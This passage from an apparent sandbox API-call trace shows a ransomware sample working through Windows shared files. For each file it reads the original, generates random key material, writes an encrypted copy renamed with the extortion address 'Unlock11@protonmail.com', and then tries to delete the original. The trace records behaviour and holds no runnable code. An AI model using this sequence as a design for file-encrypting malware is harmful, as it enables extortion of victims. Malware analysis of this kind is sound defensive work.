lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.309] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.309] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.309] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.309] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.309] GetLastError () returned 0x0 [0122.309] GetCurrentThreadId () returned 0x9b0 [0122.309] GetLastError () returned 0x0 [0122.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c38 | out: hHeap=0x2ad0000) returned 1 [0122.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0122.309] GetCurrentThreadId () returned 0x9b0 [0122.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.310] GetLastError () returned 0x0 [0122.310] GetLastError () returned 0x0 [0122.310] GetCurrentThreadId () returned 0x9b0 [0122.310] GetLastError () returned 0x0 [0122.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.310] GetLastError () returned 0x0 [0122.310] GetLastError () returned 0x0 [0122.310] GetCurrentThreadId () returned 0x9b0 [0122.310] GetLastError () returned 0x0 [0122.310] GetLastError () returned 0x0 [0122.311] GetLastError () returned 0x0 [0122.312] GetCurrentThreadId () returned 0x9b0 [0122.312] GetLastError () returned 0x0 [0122.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c28 | out: hHeap=0x2ad0000) returned 1 [0122.312] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xf8) returned 0x3306cc8 [0122.312] GetLastError () returned 0x0 [0122.312] GetLastError () returned 0x0 [0122.312] GetLastError () returned 0x0 [0122.312] GetLastError () returned 0x0 [0122.312] GetCurrentThreadId () returned 0x9b0 [0122.312] GetLastError () returned 0x0 [0122.313] GetCurrentThreadId () returned 0x9b0 [0122.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306cc8 | out: hHeap=0x2ad0000) returned 1 [0122.313] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.313] GetLastError () returned 0x0 [0122.313] GetLastError () returned 0x0 [0122.313] GetCurrentThreadId () returned 0x9b0 [0122.313] GetLastError () returned 0x0 [0122.313] GetLastError () returned 0x0 [0122.313] GetLastError () returned 0x0 [0122.313] GetCurrentThreadId () returned 0x9b0 [0122.313] GetLastError () returned 0x0 [0122.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8648 | out: hHeap=0x2ad0000) returned 1 [0122.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.314] GetLastError () returned 0x0 [0122.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.315] CloseHandle (hObject=0x3ac) returned 1 [0122.315] GetLastError () returned 0x0 [0122.315] GetCurrentThreadId () returned 0x9b0 [0122.315] GetLastError () returned 0x0 [0122.315] GetLastError () returned 0x0 [0122.315] CloseHandle (hObject=0x39c) returned 1 [0122.315] GetLastError () returned 0x0 [0122.316] GetCurrentThreadId () returned 0x9b0 [0122.316] GetLastError () returned 0x0 [0122.316] GetLastError () returned 0x0 [0122.316] GetLastError () returned 0x0 [0122.316] GetLastError () returned 0x0 [0122.316] GetLastError () returned 0x0 [0122.316] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0 [0122.316] GetLastError () returned 0x5 [0122.316] GetCurrentThreadId () returned 0x9b0 [0122.317] GetLastError () returned 0x5 [0122.317] GetLastError () returned 0x5 [0122.317] GetLastError () returned 0x5 [0122.317] GetLastError () returned 0x5 [0122.317] LocalFree (hMem=0x1053a70) returned 0x0 [0122.317] GetLastError () returned 0x5 [0122.317] GetLastError () returned 0x5 [0122.317] GetLastError () returned 0x5 [0122.317] GetLastError () returned 0x5 [0122.317] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml", lpFilePart=0x9bada4*="osknumpad.xml") returned 0x4e [0122.318] GetCurrentThreadId () returned 0x9b0 [0122.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0122.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0122.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0122.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0122.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea660 [0122.318] GetCurrentThreadId () returned 0x9b0 [0122.318] GetLastError () returned 0x0 [0122.318] GetLastError () returned 0x0 [0122.318] GetLastError () returned 0x0 [0122.318] GetLastError () returned 0x0 [0122.319] GetCurrentThreadId () returned 0x9b0 [0122.319] GetLastError () returned 0x0 [0122.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea660 | out: hHeap=0x2ad0000) returned 1 [0122.319] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea660 [0122.319] GetLastError () returned 0x0 [0122.319] GetLastError () returned 0x0 [0122.319] GetLastError () returned 0x0 [0122.319] GetLastError () returned 0x0 [0122.319] GetCurrentThreadId () returned 0x9b0 [0122.319] GetLastError () returned 0x0 [0122.320] GetCurrentThreadId () returned 0x9b0 [0122.320] GetLastError () returned 0x0 [0122.320] GetLastError () returned 0x0 [0122.320] GetLastError () returned 0x0 [0122.320] GetLastError () returned 0x0 [0122.320] GetCurrentThreadId () returned 0x9b0 [0122.320] GetLastError () returned 0x0 [0122.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea660 | out: hHeap=0x2ad0000) returned 1 [0122.320] GetLastError () returned 0x0 [0122.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0122.321] GetLastError () returned 0x0 [0122.321] GetLastError () returned 0x0 [0122.321] GetLastError () returned 0x0 [0122.321] GetCurrentThreadId () returned 0x9b0 [0122.321] GetLastError () returned 0x0 [0122.321] GetLastError () returned 0x0 [0122.321] GetLastError () returned 0x0 [0122.321] GetLastError () returned 0x0 [0122.321] GetLastError () returned 0x0 [0122.321] GetCurrentThreadId () returned 0x9b0 [0122.321] GetLastError () returned 0x0 [0122.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0122.322] GetLastError () returned 0x0 [0122.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0122.322] GetLastError () returned 0x0 [0122.322] GetLastError () returned 0x0 [0122.322] GetLastError () returned 0x0 [0122.322] GetCurrentThreadId () returned 0x9b0 [0122.322] GetLastError () returned 0x0 [0122.322] GetLastError () returned 0x0 [0122.322] GetLastError () returned 0x0 [0122.322] GetLastError () returned 0x0 [0122.323] GetLastError () returned 0x0 [0122.323] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.323] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb)) returned 1 [0122.323] GetLastError () returned 0x0 [0122.323] GetCurrentThreadId () returned 0x9b0 [0122.323] GetLastError () returned 0x0 [0122.323] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0122.323] GetCurrentThreadId () returned 0x9b0 [0122.323] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a6ec | out: pbBuffer=0x366a6ec) returned 1 [0122.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0122.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0122.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0122.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0122.324] GetLastError () returned 0x0 [0122.324] GetLastError () returned 0x0 [0122.324] GetLastError () returned 0x0 [0122.324] GetLastError () returned 0x0 [0122.324] GetCurrentThreadId () returned 0x9b0 [0122.324] GetLastError () returned 0x0 [0122.324] GetCurrentThreadId () returned 0x9b0 [0122.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0122.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea660 [0122.325] GetLastError () returned 0x0 [0122.325] GetLastError () returned 0x0 [0122.325] GetLastError () returned 0x0 [0122.325] GetLastError () returned 0x0 [0122.325] GetCurrentThreadId () returned 0x9b0 [0122.325] GetLastError () returned 0x0 [0122.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea660 | out: hHeap=0x2ad0000) returned 1 [0122.325] GetCurrentThreadId () returned 0x9b0 [0122.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0122.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3648 | out: hHeap=0x2ad0000) returned 1 [0122.326] GetLastError () returned 0x0 [0122.326] GetLastError () returned 0x0 [0122.326] GetLastError () returned 0x0 [0122.326] GetLastError () returned 0x0 [0122.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.326] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c98 [0122.326] GetLastError () returned 0x0 [0122.326] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.327] GetFileType (hFile=0x39c) returned 0x1 [0122.327] GetLastError () returned 0x0 [0122.327] GetCurrentThreadId () returned 0x9b0 [0122.327] GetLastError () returned 0x0 [0122.327] GetFileType (hFile=0x39c) returned 0x1 [0122.327] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.327] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.327] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.327] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.327] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.327] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.327] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.328] GetLastError () returned 0x0 [0122.328] GetCurrentThreadId () returned 0x9b0 [0122.328] GetLastError () returned 0x0 [0122.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c98 | out: hHeap=0x2ad0000) returned 1 [0122.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0122.328] GetLastError () returned 0x0 [0122.328] GetLastError () returned 0x0 [0122.328] GetLastError () returned 0x0 [0122.328] GetLastError () returned 0x0 [0122.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ce8 [0122.329] GetLastError () returned 0x0 [0122.329] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.329] GetFileType (hFile=0x3ac) returned 0x1 [0122.330] GetLastError () returned 0x0 [0122.330] GetCurrentThreadId () returned 0x9b0 [0122.330] GetLastError () returned 0x0 [0122.330] GetFileType (hFile=0x3ac) returned 0x1 [0122.330] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.330] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.330] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.330] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.330] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.330] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.330] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.330] GetLastError () returned 0x0 [0122.331] GetCurrentThreadId () returned 0x9b0 [0122.331] GetLastError () returned 0x0 [0122.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ce8 | out: hHeap=0x2ad0000) returned 1 [0122.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0122.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0122.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0122.331] GetLastError () returned 0x0 [0122.331] GetLastError () returned 0x0 [0122.331] GetCurrentThreadId () returned 0x9b0 [0122.331] GetLastError () returned 0x0 [0122.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.332] GetLastError () returned 0x0 [0122.332] GetLastError () returned 0x0 [0122.332] GetCurrentThreadId () returned 0x9b0 [0122.332] GetLastError () returned 0x0 [0122.332] GetLastError () returned 0x0 [0122.333] GetLastError () returned 0x0 [0122.333] GetCurrentThreadId () returned 0x9b0 [0122.333] GetLastError () returned 0x0 [0122.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xf8) returned 0x33073c8 [0122.333] GetCurrentThreadId () returned 0x9b0 [0122.333] GetLastError () returned 0x0 [0122.334] GetLastError () returned 0x0 [0122.334] GetLastError () returned 0x0 [0122.334] GetLastError () returned 0x0 [0122.334] GetCurrentThreadId () returned 0x9b0 [0122.334] GetLastError () returned 0x0 [0122.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33073c8 | out: hHeap=0x2ad0000) returned 1 [0122.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0122.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0122.334] GetLastError () returned 0x0 [0122.334] GetLastError () returned 0x0 [0122.334] GetCurrentThreadId () returned 0x9b0 [0122.335] GetLastError () returned 0x0 [0122.335] GetLastError () returned 0x0 [0122.335] GetLastError () returned 0x0 [0122.335] GetCurrentThreadId () returned 0x9b0 [0122.335] GetLastError () returned 0x0 [0122.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8648 | out: hHeap=0x2ad0000) returned 1 [0122.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.336] GetLastError () returned 0x0 [0122.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.337] CloseHandle (hObject=0x3ac) returned 1 [0122.337] GetLastError () returned 0x0 [0122.337] GetCurrentThreadId () returned 0x9b0 [0122.337] GetLastError () returned 0x0 [0122.337] GetLastError () returned 0x0 [0122.337] CloseHandle (hObject=0x39c) returned 1 [0122.337] GetLastError () returned 0x0 [0122.337] GetCurrentThreadId () returned 0x9b0 [0122.337] GetLastError () returned 0x0 [0122.338] GetLastError () returned 0x0 [0122.338] GetLastError () returned 0x0 [0122.338] GetLastError () returned 0x0 [0122.338] GetLastError () returned 0x0 [0122.338] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0 [0122.338] GetLastError () returned 0x5 [0122.338] GetCurrentThreadId () returned 0x9b0 [0122.338] GetLastError () returned 0x5 [0122.338] GetLastError () returned 0x5 [0122.339] GetLastError () returned 0x5 [0122.339] GetLastError () returned 0x5 [0122.339] LocalFree (hMem=0x1053c70) returned 0x0 [0122.339] GetCurrentThreadId () returned 0x9b0 [0122.339] GetLastError () returned 0x5 [0122.339] GetLastError () returned 0x5 [0122.339] GetLastError () returned 0x5 [0122.339] GetLastError () returned 0x5 [0122.339] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml", lpFilePart=0x9bada4*="oskpred.xml") returned 0x4c [0122.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0122.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0122.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0122.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0122.340] GetCurrentThreadId () returned 0x9b0 [0122.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7c8 [0122.340] GetLastError () returned 0x0 [0122.340] GetLastError () returned 0x0 [0122.340] GetLastError () returned 0x0 [0122.340] GetLastError () returned 0x0 [0122.340] GetCurrentThreadId () returned 0x9b0 [0122.340] GetLastError () returned 0x0 [0122.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7c8 | out: hHeap=0x2ad0000) returned 1 [0122.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6b0 [0122.341] GetLastError () returned 0x0 [0122.341] GetLastError () returned 0x0 [0122.341] GetLastError () returned 0x0 [0122.341] GetLastError () returned 0x0 [0122.341] GetCurrentThreadId () returned 0x9b0 [0122.341] GetLastError () returned 0x0 [0122.341] GetCurrentThreadId () returned 0x9b0 [0122.341] GetLastError () returned 0x0 [0122.341] GetLastError () returned 0x0 [0122.342] GetLastError () returned 0x0 [0122.342] GetLastError () returned 0x0 [0122.342] GetCurrentThreadId () returned 0x9b0 [0122.342] GetLastError () returned 0x0 [0122.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6b0 | out: hHeap=0x2ad0000) returned 1 [0122.342] GetLastError () returned 0x0 [0122.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0122.342] GetLastError () returned 0x0 [0122.342] GetLastError () returned 0x0 [0122.342] GetLastError () returned 0x0 [0122.342] GetCurrentThreadId () returned 0x9b0 [0122.342] GetLastError () returned 0x0 [0122.343] GetLastError () returned 0x0 [0122.343] GetLastError () returned 0x0 [0122.343] GetLastError () returned 0x0 [0122.343] GetLastError () returned 0x0 [0122.343] GetCurrentThreadId () returned 0x9b0 [0122.343] GetLastError () returned 0x0 [0122.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0122.343] GetCurrentThreadId () returned 0x9b0 [0122.343] GetLastError () returned 0x0 [0122.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0122.344] GetLastError () returned 0x0 [0122.344] GetLastError () returned 0x0 [0122.344] GetLastError () returned 0x0 [0122.344] GetCurrentThreadId () returned 0x9b0 [0122.344] GetLastError () returned 0x0 [0122.344] GetLastError () returned 0x0 [0122.344] GetLastError () returned 0x0 [0122.344] GetLastError () returned 0x0 [0122.344] GetLastError () returned 0x0 [0122.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.345] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7)) returned 1 [0122.345] GetLastError () returned 0x0 [0122.345] GetCurrentThreadId () returned 0x9b0 [0122.345] GetLastError () returned 0x0 [0122.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a20f0 | out: hHeap=0x2ad0000) returned 1 [0122.345] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a624 | out: pbBuffer=0x366a624) returned 1 [0122.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0122.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0122.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0122.345] GetCurrentThreadId () returned 0x9b0 [0122.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0122.346] GetLastError () returned 0x0 [0122.346] GetLastError () returned 0x0 [0122.346] GetLastError () returned 0x0 [0122.346] GetLastError () returned 0x0 [0122.346] GetCurrentThreadId () returned 0x9b0 [0122.346] GetLastError () returned 0x0 [0122.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0122.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea778 [0122.346] GetCurrentThreadId () returned 0x9b0 [0122.346] GetLastError () returned 0x0 [0122.347] GetLastError () returned 0x0 [0122.347] GetLastError () returned 0x0 [0122.347] GetLastError () returned 0x0 [0122.347] GetCurrentThreadId () returned 0x9b0 [0122.347] GetLastError () returned 0x0 [0122.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea778 | out: hHeap=0x2ad0000) returned 1 [0122.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6ce8 [0122.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0122.347] GetLastError () returned 0x0 [0122.347] GetLastError () returned 0x0 [0122.347] GetLastError () returned 0x0 [0122.348] GetLastError () returned 0x0 [0122.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d08 [0122.348] GetLastError () returned 0x0 [0122.348] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.348] GetFileType (hFile=0x39c) returned 0x1 [0122.348] GetLastError () returned 0x0 [0122.348] GetCurrentThreadId () returned 0x9b0 [0122.348] GetLastError () returned 0x0 [0122.349] GetFileType (hFile=0x39c) returned 0x1 [0122.349] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.349] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.349] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.349] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.349] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.349] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.349] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.349] GetLastError () returned 0x0 [0122.349] GetCurrentThreadId () returned 